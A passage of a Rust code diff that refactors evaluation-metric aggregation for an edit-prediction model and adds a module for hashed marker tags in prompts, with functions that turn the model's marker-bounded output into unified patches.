+        if let Some(value) = score.recall_rate {
+            recall_rate.add(value);
         }
-        if let Some(correctly_deleted_chars) = score.correctly_deleted_chars {
-            correctly_deleted_chars_total += correctly_deleted_chars;
-            correctly_deleted_chars_count += 1;
+        if let Some(value) = score.kept_chars {
+            kept_chars.add(value);
         }
-        if let Some(discarded_chars) = score.discarded_chars {
-            discarded_chars_total += discarded_chars;
-            discarded_chars_count += 1;
+        if let Some(value) = score.correctly_deleted_chars {
+            correctly_deleted_chars.add(value);
         }
-        if let Some(recall_rate) = score.recall_rate {
-            recall_rate_sum += recall_rate;
-            recall_rate_count += 1;
+        if let Some(value) = score.discarded_chars {
+            discarded_chars.add(value);
         }
-        if let Some(retrieved_context_bytes) = prediction.retrieved_context_bytes {
-            retrieved_context_bytes_total += retrieved_context_bytes;
-            retrieved_context_bytes_count += 1;
+        if let Some(value) = prediction.retrieved_context_bytes {
+            retrieved_context_bytes.add(value);
         }
 
         if let Some(coverage) = &score.editable_context_coverage {
-            editable_context_lines_precision_sum += coverage.lines_precision;
-            editable_context_lines_recall_sum += coverage.lines_recall;
-            editable_context_lines_f1_sum += coverage.lines_f1;
-            editable_context_files_precision_sum += coverage.files_precision;
-            editable_context_files_recall_sum += coverage.files_recall;
-            editable_context_files_f1_sum += coverage.files_f1;
-            editable_context_coverage_count += 1;
-            editable_context_lines_tp += coverage.lines_tp;
-            editable_context_lines_fp += coverage.lines_fp;
-            editable_context_lines_fn += coverage.lines_fn;
-            editable_context_files_tp += coverage.files_tp;
-            editable_context_files_fp += coverage.files_fp;
-            editable_context_files_fn += coverage.files_fn;
+            editable_context.add(coverage);
+        }
+        if let Some(location) = &score.jump_location {
+            jump_location.add(location);
         }
 
         if let Some(exact_match) = score.cursor_exact_match {
-            cursor_total += 1;
-            if exact_match {
-                cursor_exact_matches += 1;
-            }
+            cursor_exact.add(exact_match);
         }
         if let Some(distance) = score.cursor_distance {
-            cursor_distance_sum += distance;
-            cursor_distance_count += 1;
+            cursor_distance.add(distance as f64);
         }
     }
 
-    let avg_delta_chr_f = if all_delta_chr_f_scores.is_empty() {
-        0.0
-    } else {
-        all_delta_chr_f_scores.iter().sum::<f32>() / all_delta_chr_f_scores.len() as f32
-    };
-
-    let avg_reversal_ratio = if all_reversal_ratios.is_empty() {
-        0.0
-    } else {
-        all_reversal_ratios.iter().sum::<f32>() / all_reversal_ratios.len() as f32
-    };
-
-    let avg_braces_disbalance = if total_scores == 0 {
-        0.0
-    } else {
-        braces_disbalance_sum as f32 / total_scores as f32
-    };
-
-    let qa_avg_reverts_edits = if qa_reverts_total > 0 {
-        Some(qa_reverts_count as f32 / qa_reverts_total as f32)
-    } else {
-        None
-    };
-
-    let qa_avg_confidence = if qa_confidence_count > 0 {
-        Some(qa_confidence_sum as f32 / qa_confidence_count as f32)
-    } else {
-        None
-    };
-
-    let cursor_exact_match_rate = if cursor_total > 0 {
-        Some(cursor_exact_matches as f32 / cursor_total as f32)
-    } else {
-        None
-    };
-
-    let cursor_avg_distance = if cursor_distance_count > 0 {
-        Some(cursor_distance_sum as f32 / cursor_distance_count as f32)
-    } else {
-        None
-    };
-
-    let cursor_total_evaluated = if cursor_total > 0 {
-        Some(cursor_total)
-    } else {
-        None
-    };
-
-    let wrong_editable_region_rate = if wrong_editable_region_total > 0 {
-        Some(wrong_editable_region_count as f32 / wrong_editable_region_total as f32)
-    } else {
-        None
-    };
-
-    let isolated_whitespace_rate = if total_scores > 0 {
-        Some(isolated_whitespace_count as f32 / total_scores as f32)
-    } else {
-        None
-    };
-
-    let avg_kept_rate = if kept_rate_count > 0 {
-        Some(kept_rate_sum / kept_rate_count as f64)
-    } else {
-        None
-    };
-
-    let avg_recall_rate = if recall_rate_count > 0 {
-        Some(recall_rate_sum / recall_rate_count as f64)
-    } else {
-        None
-    };
-
-    let total_kept_chars = if kept_chars_count > 0 {
-        Some(kept_chars_total)
-    } else {
-        None
-    };
-
-    let total_correctly_deleted_chars = if correctly_deleted_chars_count > 0 {
-        Some(correctly_deleted_chars_total)
-    } else {
-        None
-    };
-
-    let total_discarded_chars = if discarded_chars_count > 0 {
-        Some(discarded_chars_total)
-    } else {
-        None
-    };
-
-    let avg_editable_context_lines_precision = if editable_context_coverage_count > 0 {
-        Some(editable_context_lines_precision_sum / editable_context_coverage_count as f64)
-    } else {
-        None
-    };
-    let avg_editable_context_lines_recall = if editable_context_coverage_count > 0 {
-        Some(editable_context_lines_recall_sum / editable_context_coverage_count as f64)
-    } else {
-        None
-    };
-    let avg_editable_context_lines_f1 = if editable_context_coverage_count > 0 {
-        Some(editable_context_lines_f1_sum / editable_context_coverage_count as f64)
-    } else {
-        None
-    };
-    let editable_context_lines_tp = if editable_context_coverage_count > 0 {
-        Some(editable_context_lines_tp)
-    } else {
-        None
-    };
-    let editable_context_lines_fp = if editable_context_coverage_count > 0 {
-        Some(editable_context_lines_fp)
-    } else {
-        None
-    };
-    let editable_context_lines_fn = if editable_context_coverage_count > 0 {
-        Some(editable_context_lines_fn)
-    } else {
-        None
-    };
-    let avg_editable_context_files_precision = if editable_context_coverage_count > 0 {
-        Some(editable_context_files_precision_sum / editable_context_coverage_count as f64)
-    } else {
-        None
-    };
-    let avg_editable_context_files_recall = if editable_context_coverage_count > 0 {
-        Some(editable_context_files_recall_sum / editable_context_coverage_count as f64)
-    } else {
-        None
-    };
-    let avg_editable_context_files_f1 = if editable_context_coverage_count > 0 {
-        Some(editable_context_files_f1_sum / editable_context_coverage_count as f64)
-    } else {
-        None
-    };
-    let editable_context_files_tp = if editable_context_coverage_count > 0 {
-        Some(editable_context_files_tp)
-    } else {
-        None
-    };
-    let editable_context_files_fp = if editable_context_coverage_count > 0 {
-        Some(editable_context_files_fp)
-    } else {
-        None
-    };
-    let editable_context_files_fn = if editable_context_coverage_count > 0 {
-        Some(editable_context_files_fn)
-    } else {
-        None
-    };
-    let avg_retrieved_context_bytes = if retrieved_context_bytes_count > 0 {
-        Some(retrieved_context_bytes_total as f64 / retrieved_context_bytes_count as f64)
-    } else {
-        None
-    };
-    let total_retrieved_context_bytes = if retrieved_context_bytes_count > 0 {
-        Some(retrieved_context_bytes_total)
-    } else {
-        None
-    };
-    let retrieved_context_examples = if retrieved_context_bytes_count > 0 {
-        Some(retrieved_context_bytes_count)
-    } else {
-        None
-    };
-
     SummaryJson {
         total_examples: total_scores,
-        avg_delta_chr_f,
+        avg_delta_chr_f: if total_scores == 0 {
+            0.0
+        } else {
+            delta_chr_f_sum / total_scores as f32
+        },
         delta_chr_f_beta,
         delta_chr_f_true_positives: total_delta_chr_f.true_positives,
         delta_chr_f_false_positives: total_delta_chr_f.false_positives,
@@ -404,47 +384,73 @@ pub fn compute_summary<'a>(
         delta_chr_f_precision: if total_scores == 0 {
             0.0
         } else {
-            total_delta_chr_f_precision / total_scores as f64
+            delta_chr_f_precision_sum / total_scores as f64
         },
         delta_chr_f_recall: if total_scores == 0 {
             0.0
         } else {
-            total_delta_chr_f_recall / total_scores as f64
+            delta_chr_f_recall_sum / total_scores as f64
+        },
+        avg_braces_disbalance: if total_scores == 0 {
+            0.0
+        } else {
+            braces_disbalance_sum as f32 / total_scores as f32
         },
-        avg_braces_disbalance,
         exact_lines_true_positives: total_exact_lines.true_positives,
         exact_lines_false_positives: total_exact_lines.false_positives,
         exact_lines_false_negatives: total_exact_lines.false_negatives,
         exact_lines_precision: total_exact_lines.precision(),
         exact_lines_recall: total_exact_lines.recall(),
         exact_lines_f1: total_exact_lines.f1(),
-        avg_reversal_ratio,
-        qa_avg_reverts_edits,
-        qa_avg_confidence,
-        cursor_exact_match_rate,
-        cursor_avg_distance,
-        cursor_total_evaluated,
-        wrong_editable_region_rate,
-        isolated_whitespace_rate,
-        avg_kept_rate,
-        avg_recall_rate,
-        total_kept_chars,
-        total_correctly_deleted_chars,
-        total_discarded_chars,
-        avg_editable_context_lines_precision,
-        avg_editable_context_lines_recall,
-        avg_editable_context_lines_f1,
-        editable_context_lines_tp,
-        editable_context_lines_fp,
-        editable_context_lines_fn,
-        avg_editable_context_files_precision,
-        avg_editable_context_files_recall,
-        avg_editable_context_files_f1,
-        editable_context_files_tp,
-        editable_context_files_fp,
-        editable_context_files_fn,
-        avg_retrieved_context_bytes,
-        total_retrieved_context_bytes,
-        retrieved_context_examples,
+        avg_reversal_ratio: if total_scores == 0 {
+            0.0
+        } else {
+            reversal_ratio_sum / total_scores as f32
+        },
+        qa_avg_reverts_edits: qa_reverts.rate(),
+        qa_avg_confidence: qa_confidence.mean_f32(),
+        cursor_exact_match_rate: cursor_exact.rate(),
+        cursor_exact_matches: cursor_exact.hits(),
+        cursor_avg_distance: cursor_distance.mean_f32(),
+        cursor_total_evaluated: cursor_exact.total(),
+        wrong_editable_region_rate: wrong_editable_region.rate(),
+        isolated_whitespace_rate: isolated_whitespace.rate(),
+        isolated_whitespace_count: isolated_whitespace.hits(),
+        avg_kept_rate: kept_rate.mean(),
+        kept_rate_examples: kept_rate.count(),
+        avg_recall_rate: recall_rate.mean(),
+        recall_rate_examples: recall_rate.count(),
+        total_kept_chars: kept_chars.total(),
+        total_correctly_deleted_chars: correctly_deleted_chars.total(),
+        total_discarded_chars: discarded_chars.total(),
+        editable_context_examples: editable_context.count(),
+        avg_editable_context_lines_precision: editable_context.lines.avg_precision(),
+        avg_editable_context_lines_recall: editable_context.lines.avg_recall(),
+        avg_editable_context_lines_f1: editable_context.lines.avg_f1(),
+        editable_context_lines_tp: editable_context.lines.true_positives(),
+        editable_context_lines_fp: editable_context.lines.false_positives(),
+        editable_context_lines_fn: editable_context.lines.false_negatives(),
+        avg_editable_context_files_precision: editable_context.files.avg_precision(),
+        avg_editable_context_files_recall: editable_context.files.avg_recall(),
+        avg_editable_context_files_f1: editable_context.files.avg_f1(),
+        editable_context_files_tp: editable_context.files.true_positives(),
+        editable_context_files_fp: editable_context.files.false_positives(),
+        editable_context_files_fn: editable_context.files.false_negatives(),
+        jump_location_examples: jump_location.count(),
+        avg_jump_location_lines_precision: jump_location.lines.avg_precision(),
+        avg_jump_location_lines_recall: jump_location.lines.avg_recall(),
+        avg_jump_location_lines_f1: jump_location.lines.avg_f1(),
+        jump_location_lines_tp: jump_location.lines.true_positives(),
+        jump_location_lines_fp: jump_location.lines.false_positives(),
+        jump_location_lines_fn: jump_location.lines.false_negatives(),
+        avg_jump_location_files_precision: jump_location.files.avg_precision(),
+        avg_jump_location_files_recall: jump_location.files.avg_recall(),
+        avg_jump_location_files_f1: jump_location.files.avg_f1(),
+        jump_location_files_tp: jump_location.files.true_positives(),
+        jump_location_files_fp: jump_location.files.false_positives(),
+        jump_location_files_fn: jump_location.files.false_negatives(),
+        avg_retrieved_context_bytes: retrieved_context_bytes.mean(),
+        total_retrieved_context_bytes: retrieved_context_bytes.total(),
+        retrieved_context_examples: retrieved_context_bytes.count(),
     }
 }
diff --git a/crates/zeta_prompt/src/hashed_regions.rs b/crates/zeta_prompt/src/hashed_regions.rs
new file mode 100644
index 00000000000000..59b927e46fae77
--- /dev/null
+++ b/crates/zeta_prompt/src/hashed_regions.rs
@@ -0,0 +1,1257 @@
+//! Hashed Regions (V0609HashedRegions): a variant of the Smart Regions
+//! multi-region format where marker tags are identified by a short
+//! content-derived hash (e.g. `<|marker_b1f8|>`) instead of a sequence
+//! number.
+//!
+//! Hashed identifiers are self-describing: a tag can be mapped back to its
+//! location without reproducing the exact rendering order of the prompt, so
+//! markers can be placed across *all* prompt context, and budget-based
+//! truncation of related files doesn't shift the addressing of the remaining
+//! markers. All context, including the current file, lives in related files:
+//! context retrieval includes the current file via `ContextSource::CurrentFile`,
+//! so the cursor file is expected to be one of the related files. Inputs that
+//! weren't run through current-file retrieval can be normalized with
+//! [`ensure_cursor_file_excerpt`] before rendering or parsing.
+
+use crate::{ContextSource, RelatedExcerpt, RelatedFile, ZetaPromptInput, multi_region, udiff};
+use anyhow::{Context as _, Result, anyhow};
+use std::{
+    borrow::Cow,
+    collections::{HashMap, HashSet},
+    ops::Range,
+    path::{Path, PathBuf},
+};
+
+pub const MARKER_TAG_PREFIX: &str = "<|marker_";
+pub const MARKER_TAG_SUFFIX: &str = "|>";
+pub const V0615_END_MARKER: &str = "<[end▁of▁sentence]>";
+pub const NO_EDITS: &str = "NO_EDITS";
+/// Number of base64 characters in a marker tag identifier.
+pub const TAG_ID_LEN: usize = 4;
+
+const BASE64_URL_SAFE_ALPHABET: &[u8; 64] =
+    b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
+
+pub fn marker_tag(id: &str) -> String {
+    format!("{MARKER_TAG_PREFIX}{id}{MARKER_TAG_SUFFIX}")
+}
+
+/// Marker tags assigned to one contiguous snippet of context.
+#[derive(Debug, Clone)]
+pub struct SnippetMarkers {
+    pub file_ix: usize,
+    pub excerpt_ix: usize,
+    /// `(tag id, byte offset within the snippet text)`, sorted by offset.
+    /// The first marker is at offset 0 and the last at `text.len()`.
+    pub markers: Vec<(String, usize)>,
+}
+
+/// Assign hashed marker tags to every related-file excerpt of `input`.
+///
+/// The assignment is deterministic and independent of any later budget-based
+/// truncation, so the same table can be rebuilt when parsing model output.
+pub fn build_marker_table(input: &ZetaPromptInput) -> Vec<SnippetMarkers> {
+    build_marker_table_with_filter(input, |_| true)
+}
+
+pub fn build_editable_marker_table(input: &ZetaPromptInput) -> Vec<SnippetMarkers> {
+    build_marker_table_with_filter(input, is_hash_region_editable_context_source)
+}
+
+pub fn is_hash_region_editable_context_source(context_source: ContextSource) -> bool {
+    matches!(
+        context_source,
+        ContextSource::CurrentFile | ContextSource::EditHistory
+    )
+}
+
+fn build_marker_table_with_filter(
+    input: &ZetaPromptInput,
+    include_context_source: impl Fn(ContextSource) -> bool,
+) -> Vec<SnippetMarkers> {
+    let mut used_ids = HashSet::new();
+    let mut snippets = Vec::new();
+    if let Some(related_files) = input.related_files.as_deref() {
+        for (file_ix, file) in related_files.iter().enumerate() {
+            for (excerpt_ix, excerpt) in file.excerpts.iter().enumerate() {
+                if include_context_source(excerpt.context_source) {
+                    snippets.push(SnippetMarkers {
+                        file_ix,
+                        excerpt_ix,
+                        markers: assign_tags(&excerpt.text, &mut used_ids),
+                    });
+                }
+            }
+        }
+    }
+    snippets
+}
+
+pub fn markers_for_text(text: &str) -> Vec<(String, usize)> {
+    let mut used_ids = HashSet::new();
+    assign_tags(text, &mut used_ids)
+}
+
+fn assign_tags(text: &str, used_ids: &mut HashSet<String>) -> Vec<(String, usize)> {
+    let offsets = multi_region::compute_marker_offsets_v0618(text);
+    offsets
+        .iter()
+        .enumerate()
+        .map(|(i, &offset)| {
+            let block = match offsets.get(i + 1) {
+                Some(&next_offset) => &text[offset..next_offset],
+                // The final marker has no following block; hash the preceding
+                // one. This collides with the previous marker's tag by
+                // construction, which `unique_tag_id` resolves by reseeding.
+                None => {
+                    let previous_offset = if i == 0 { 0 } else { offsets[i - 1] };
+                    &text[previous_offset..offset]
+                }
+            };
+            (unique_tag_id(block, used_ids), offset)
+        })
+        .collect()
+}
+
+fn unique_tag_id(content: &str, used_ids: &mut HashSet<String>) -> String {
+    let mut seed = 0u64;
+    loop {
+        let id = encode_tag_id(hash_with_seed(content, seed));
+        if used_ids.insert(id.clone()) {
+            return id;
+        }
+        seed += 1;
+    }
+}
+
+/// FNV-1a, with the seed folded in ahead of the content.
+fn hash_with_seed(content: &str, seed: u64) -> u64 {
+    const FNV_OFFSET: u64 = 0xcbf29ce484222325;
+    const FNV_PRIME: u64 = 0x100000001b3;
+    let mut hash = FNV_OFFSET;
+    for byte in seed.to_le_bytes() {
+        hash ^= byte as u64;
+        hash = hash.wrapping_mul(FNV_PRIME);
+    }
+    for byte in content.as_bytes() {
+        hash ^= *byte as u64;
+        hash = hash.wrapping_mul(FNV_PRIME);
+    }
+    hash
+}
+
+fn encode_tag_id(hash: u64) -> String {
+    (0..TAG_ID_LEN)
+        .map(|i| BASE64_URL_SAFE_ALPHABET[((hash >> (6 * i)) & 0x3f) as usize] as char)
+        .collect()
+}
+
+/// Write `text` into `output`, inserting marker tags at the given offsets.
+/// When `cursor` is provided, its marker string is inserted at the given byte
+/// offset within `text`.
+pub fn write_snippet_with_markers(
+    output: &mut String,
+    text: &str,
+    markers: &[(String, usize)],
+    cursor: Option<(usize, &str)>,
+) {
+    let mut cursor_placed = false;
+    for (i, (id, offset)) in markers.iter().enumerate() {
+        if !output.is_empty() && !output.ends_with('\n') {
+            output.push('\n');
+        }
+        output.push_str(&marker_tag(id));
+
+        if let Some((_, next_offset)) = markers.get(i + 1) {
+            output.push('\n');
+            let block = &text[*offset..*next_offset];
+            match cursor {
+                Some((cursor_offset, cursor_marker))
+                    if !cursor_placed
+                        && cursor_offset >= *offset
+                        && cursor_offset <= *next_offset =>
+                {
+                    cursor_placed = true;
+                    let cursor_in_block = cursor_offset - offset;
+                    output.push_str(&block[..cursor_in_block]);
+                    output.push_str(cursor_marker);
+                    output.push_str(&block[cursor_in_block..]);
+                }
+                _ => output.push_str(block),
+            }
+        }
+    }
+}
+
+/// Extract a marker-bounded span from a model-output codeblock.
+///
+/// Returns `(start tag id, end tag id, content)` where `content` is the text
+/// between the first and last marker tags, with any intermediate marker tags
+/// stripped.
+pub fn extract_marker_span(text: &str) -> Result<(String, String, String)> {
+    let (start_id, end_id, content) = extract_marker_span_allow_same(text)?;
+    if start_id == end_id {
+        return Err(anyhow!(
+            "start and end markers are the same (marker {start_id})"
+        ));
+    }
+    Ok((start_id, end_id, content))
+}
+
+pub fn extract_marker_span_allow_same(text: &str) -> Result<(String, String, String)> {
+    let first_tag_start = text
+        .find(MARKER_TAG_PREFIX)
+        .context("no start marker found in output")?;
+    let first_id_start = first_tag_start + MARKER_TAG_PREFIX.len();
+    let first_id_end = text[first_id_start..]
+        .find(MARKER_TAG_SUFFIX)
+        .map(|i| i + first_id_start)
+        .context("malformed start marker tag")?;
+    let start_id = &text[first_id_start..first_id_end];
+    let first_tag_end = first_id_end + MARKER_TAG_SUFFIX.len();
+
+    let last_tag_start = text
+        .rfind(MARKER_TAG_PREFIX)
+        .context("no end marker found in output")?;
+    if last_tag_start == first_tag_start {
+        return Err(anyhow!("output span must be bounded by two marker tags"));
+    }
+    let last_id_start = last_tag_start + MARKER_TAG_PREFIX.len();
+    let last_id_end = text[last_id_start..]
+        .find(MARKER_TAG_SUFFIX)
+        .map(|i| i + last_id_start)
+        .context("malformed end marker tag")?;
+    let end_id = &text[last_id_start..last_id_end];
+
+    let mut content_start = first_tag_end;
+    if text.as_bytes().get(content_start) == Some(&b'\n') {
+        content_start += 1;
+    }
+    let content_end = last_tag_start;
+    let content = &text[content_start..content_end.max(content_start)];
+    let content = multi_region::strip_marker_tags(content);
+    Ok((start_id.to_string(), end_id.to_string(), content))
+}
+
+pub struct RelatedFileCursor {
+    pub file_ix: usize,
+    pub excerpt_ix: usize,
+    pub offset_in_excerpt: usize,
+}
+
+struct ParseSnippet<'a> {
+    file_ix: usize,
+    first_excerpt_ix: usize,
+    last_excerpt_ix: usize,
+    end_row: u32,
+    text: Cow<'a, str>,
+    markers: Vec<(String, usize)>,
+}
+
+pub fn related_file_patch_path(cursor_path: &Path, related_path: &Path) -> PathBuf {
+    let stripped: PathBuf = related_path.iter().skip(1).collect();
+    if stripped == cursor_path {
+        return stripped;
+    }
+
+    let cursor_first_component = cursor_path.components().next();
+    let related_first_component = related_path.components().next();
+    if related_first_component.is_some()
+        && cursor_first_component != related_first_component
+        && related_path.components().count() > 1
+    {
+        stripped
+    } else {
+        related_path.to_path_buf()
+    }
+}
+
+fn line_start_offset(text: &str, row: usize) -> Option<usize> {
+    let mut offset = 0;
+    for _ in 0..row {
+        offset += text[offset..].find('\n')? + 1;
+    }
+    Some(offset)
+}
+
+pub fn locate_cursor_in_related_files(input: &ZetaPromptInput) -> Option<RelatedFileCursor> {
+    let related_files = input.related_files.as_deref()?;
+    let excerpt_start_row = input.excerpt_start_row?;
+    let cursor_offset = input.cursor_offset_in_excerpt;
+    let excerpt_prefix = input.cursor_excerpt.get(..cursor_offset)?;
+    let cursor_row = excerpt_start_row + excerpt_prefix.matches('\n').count() as u32;
+    let cursor_column = cursor_offset - excerpt_prefix.rfind('\n').map_or(0, |pos| pos + 1);
+
+    for (file_ix, file) in related_files.iter().enumerate() {
+        if related_file_patch_path(&input.cursor_path, &file.path) != input.cursor_path.as_ref() {
+            continue;
+        }
+
+        for (excerpt_ix, excerpt) in file.excerpts.iter().enumerate() {
+            if cursor_row < excerpt.row_range.start || cursor_row > excerpt.row_range.end {
+                continue;
+            }
+            let row_in_excerpt = (cursor_row - excerpt.row_range.start) as usize;
+            let line_start = line_start_offset(&excerpt.text, row_in_excerpt)?;
+            let line_len = excerpt.text[line_start..]
+                .lines()
+                .next()
+                .unwrap_or("")
+                .len();
+            if cursor_column <= line_len {
+                return Some(RelatedFileCursor {
+                    file_ix,
+                    excerpt_ix,
+                    offset_in_excerpt: line_start + cursor_column,
+                });
+            }
+        }
+    }
+
+    None
+}
+
+/// Ensure the cursor file is represented by a related-file excerpt that covers
+/// the cursor, synthesizing one from `cursor_excerpt` when it isn't.
+///
+/// All hashed-region context — including the current file — is addressed
+/// through `related_files` (see module docs), so a prompt built from a
+/// `ZetaPromptInput` whose `related_files` don't cover the cursor cannot be
+/// rendered or parsed. Inputs produced by current-file context retrieval
+/// (`ContextSource::CurrentFile`) are already covered and left untouched; this
+/// normalizes the rest (e.g. raw settled-data samples, or any caller that
+/// didn't run current-file retrieval) from the `cursor_excerpt` the input
+/// already carries, so the format is usable without re-running context
+/// collection.
+///
+/// When synthesis is needed, any pre-existing excerpts of the cursor file are
+/// **replaced** by the synthesized window: the renderer emits excerpts verbatim
+/// without coalescing, so keeping overlapping fragments would duplicate lines
+/// with conflicting markers. Other related files are left untouched.
+///
+/// Returns whether the cursor file is covered after the call (already, or via
+/// the synthesized excerpt). Returns `false` only when coverage couldn't be
+/// established — e.g. a missing `excerpt_start_row` or an empty
+/// `cursor_excerpt` — in which case the input is left unchanged.
+pub fn ensure_cursor_file_excerpt(input: &mut ZetaPromptInput) -> bool {
+    if locate_cursor_in_related_files(input).is_some() {
+        return true;
+    }
+    let Some(excerpt_start_row) = input.excerpt_start_row else {
+        return false;
+    };
+    if input.cursor_excerpt.is_empty() {
+        return false;
+    }
+
+    let cursor_excerpt = input.cursor_excerpt.clone();
+    let end_row = excerpt_start_row + cursor_excerpt.matches('\n').count() as u32;
+    let synthesized = RelatedExcerpt {
+        row_range: excerpt_start_row..end_row,
+        text: cursor_excerpt,
+        order: 0,
+        context_source: ContextSource::CurrentFile,
+    };
+
+    let cursor_path = input.cursor_path.clone();
+    let in_open_source_repo = input.in_open_source_repo;
+    let related_files = input.related_files.get_or_insert_with(Vec::new);
+    if let Some(file) = related_files
+        .iter_mut()
+        .find(|file| related_file_patch_path(&cursor_path, &file.path) == cursor_path.as_ref())
+    {
+        file.max_row = file.max_row.max(end_row);
+        file.excerpts = vec![synthesized];
+    } else {
+        related_files.insert(
+            0,
+            RelatedFile {
+                path: cursor_path,
+                max_row: end_row,
+                excerpts: vec![synthesized],
+                in_open_source_repo,
+            },
+        );
+    }
+
+    // Confirm the synthesized excerpt actually covers the cursor (guards against
+    // a cursor offset that lies outside the excerpt text).
+    locate_cursor_in_related_files(input).is_some()
+}
+
+pub fn marker_table_for_excerpt(
+    marker_table: &[SnippetMarkers],
+    file_ix: usize,
+    excerpt_ix: usize,
+) -> Option<&[(String, usize)]> {
+    marker_table.iter().find_map(|snippet| {
+        (snippet.file_ix == file_ix && snippet.excerpt_ix == excerpt_ix)
+            .then_some(snippet.markers.as_slice())
+    })
+}
+
+fn merge_contiguous_snippets(
+    input: &ZetaPromptInput,
+    marker_table: Vec<SnippetMarkers>,
+) -> Result<Vec<ParseSnippet<'_>>> {
+    let related_files = input
+        .related_files
+        .as_deref()
+        .context("prompt inputs are missing related files")?;
+    let mut snippets: Vec<ParseSnippet> = Vec::new();
+    for snippet in marker_table {
+        let file = related_files
+            .get(snippet.file_ix)
+            .context("related file index out of range")?;
+        let excerpt = file
+            .excerpts
+            .get(snippet.excerpt_ix)
+            .context("related excerpt index out of range")?;
+        if let Some(last) = snippets.last_mut()
+            && last.file_ix == snippet.file_ix
+            && last.last_excerpt_ix + 1 == snippet.excerpt_ix
+            && last.end_row == excerpt.row_range.start
+        {
+            let text = last.text.to_mut();
+            if !text.is_empty() && !text.ends_with('\n') {
+                text.push('\n');
+            }
+            let base = text.len();
+            text.push_str(&excerpt.text);
+            last.markers.extend(
+                snippet
+                    .markers
+                    .into_iter()
+                    .map(|(id, offset)| (id, base + offset)),
+            );
+            last.last_excerpt_ix = snippet.excerpt_ix;
+            last.end_row = excerpt.row_range.end;
+        } else {
+            snippets.push(ParseSnippet {
+                file_ix: snippet.file_ix,
+                first_excerpt_ix: snippet.excerpt_ix,
+                last_excerpt_ix: snippet.excerpt_ix,
+                end_row: excerpt.row_range.end,
+                text: Cow::Borrowed(excerpt.text.as_ref()),
+                markers: snippet.markers,
+            });
+        }
+    }
+    Ok(snippets)
+}
+
+fn snippet_path_and_start_row(
+    input: &ZetaPromptInput,
+    snippet: &ParseSnippet<'_>,
+) -> Result<(PathBuf, u32)> {
+    let related_files = input
+        .related_files
+        .as_deref()
+        .context("prompt inputs are missing related files")?;
+    let file = related_files
+        .get(snippet.file_ix)
+        .context("related file index out of range")?;
+    let excerpt = file
+        .excerpts
+        .get(snippet.first_excerpt_ix)
+        .context("related excerpt index out of range")?;
+    Ok((
+        related_file_patch_path(&input.cursor_path, &file.path),
+        excerpt.row_range.start,
+    ))
+}
+
+fn common_prefix_suffix(a: &[u8], b: &[u8]) -> (usize, usize) {
+    let prefix = a.iter().zip(b.iter()).take_while(|(x, y)| x == y).count();
+    let remaining_a = a.len() - prefix;
+    let remaining_b = b.len() - prefix;
+    let max_suffix = remaining_a.min(remaining_b);
+    let suffix = a[a.len() - max_suffix..]
+        .iter()
+        .rev()
+        .zip(b[b.len() - max_suffix..].iter().rev())
+        .take_while(|(x, y)| x == y)
+        .count();
+    (prefix, suffix)
+}
+
+fn nearest_marker_id(markers: &[(String, usize)], cursor_offset: Option<usize>) -> &str {
+    let cursor = cursor_offset.unwrap_or(0);
+    markers
+        .iter()
+        .min_by_key(|(_, offset)| (*offset as isize - cursor as isize).unsigned_abs())
+        .map(|(id, _)| id.as_str())
+        .unwrap_or("unknown")
+}
+
+/// Encode a single marker-bounded edit block for one snippet, given its old and
+/// new text. The returned block starts and ends with a marker tag and does
+/// **not** include the output end marker; callers concatenate blocks and append
+/// [`V0615_END_MARKER`] once after the last block.
+pub fn encode_from_old_and_new(
+    old_text: &str,
+    new_text: &str,
+    markers: &[(String, usize)],
+    cursor_offset_in_new: Option<usize>,
+    cursor_marker: &str,
+) -> Result<String> {
+    let no_edit_id = nearest_marker_id(markers, cursor_offset_in_new);
+    if old_text == new_text {
+        let tag = marker_tag(no_edit_id);
+        return Ok(format!("{tag}{tag}"));
+    }
+
+    let (common_prefix, common_suffix) =
+        common_prefix_suffix(old_text.as_bytes(), new_text.as_bytes());
+    let change_end_in_old = old_text.len() - common_suffix;
+    let mut start_marker_ix = markers
+        .iter()
+        .rposition(|(_, offset)| *offset <= common_prefix)
+        .unwrap_or(0);
+    let mut end_marker_ix = markers
+        .iter()
+        .position(|(_, offset)| *offset >= change_end_in_old)
+        .unwrap_or_else(|| markers.len().saturating_sub(1));
+
+    if start_marker_ix == end_marker_ix {
+        if end_marker_ix < markers.len().saturating_sub(1) {
+            end_marker_ix += 1;
+        } else if start_marker_ix > 0 {
+            start_marker_ix -= 1;
+        }
+    }
+
+    let old_start = markers
+        .get(start_marker_ix)
+        .map(|(_, offset)| *offset)
+        .context("start marker out of range")?;
+    let old_end = markers
+        .get(end_marker_ix)
+        .map(|(_, offset)| *offset)
+        .context("end marker out of range")?;
+    let new_start = old_start;
+    let new_end = new_text
+        .len()
+        .saturating_sub(old_text.len().saturating_sub(old_end));
+    let new_span = &new_text[new_start..new_end];
+
+    let mut result = String::new();
+    result.push_str(&marker_tag(&markers[start_marker_ix].0));
+    result.push('\n');
+    if let Some(cursor_offset) = cursor_offset_in_new {
+        if cursor_offset >= new_start && cursor_offset <= new_end {
+            let cursor_in_span = cursor_offset - new_start;
+            result.push_str(&new_span[..cursor_in_span]);
+            result.push_str(cursor_marker);
+            result.push_str(&new_span[cursor_in_span..]);
+        } else {
+            result.push_str(new_span);
+        }
+    } else {
+        result.push_str(new_span);
+    }
+    if !result.ends_with('\n') {
+        result.push('\n');
+    }
+    result.push_str(&marker_tag(&markers[end_marker_ix].0));
+    Ok(result)
+}
+
+/// Parse student model output (raw marker spans, no markdown code fences) into
+/// a unified patch.
+///
+/// The output is a run of marker tags with no fences, so blocks are delimited by
+/// pairing tags two at a time: `(1, 2), (3, 4), ...`. This matches the encoder,
+/// which emits exactly two tags per block and no intermediate tags. Any
+/// unpaired trailing tag is ignored.
+pub fn parse_output_as_patch(
+    input: &ZetaPromptInput,
+    output: &str,
+    cursor_marker: &str,
+) -> Result<String> {
+    let output = output.strip_suffix(V0615_END_MARKER).unwrap_or(output);
+    if output.trim() == NO_EDITS {
+        return Ok(String::new());
+    }
+
+    let spans = pair_marker_spans(output)?;
+    let (patch, _cursor) = build_patch_from_spans(input, &spans, cursor_marker)?;
+    Ok(patch)
+}
+
+/// A cursor position resolved while turning marker-span edits into a patch.
+pub struct HashRegionCursor {
+    pub path: PathBuf,
+    /// Byte offset of the cursor within `new_text`.
+    pub cursor_offset_in_new_text: usize,
+    /// Full new text of the edited snippet, after applying all of its edits.
+    pub new_text: String,
+    /// Original text of the edited snippet.
+    pub old_text: String,
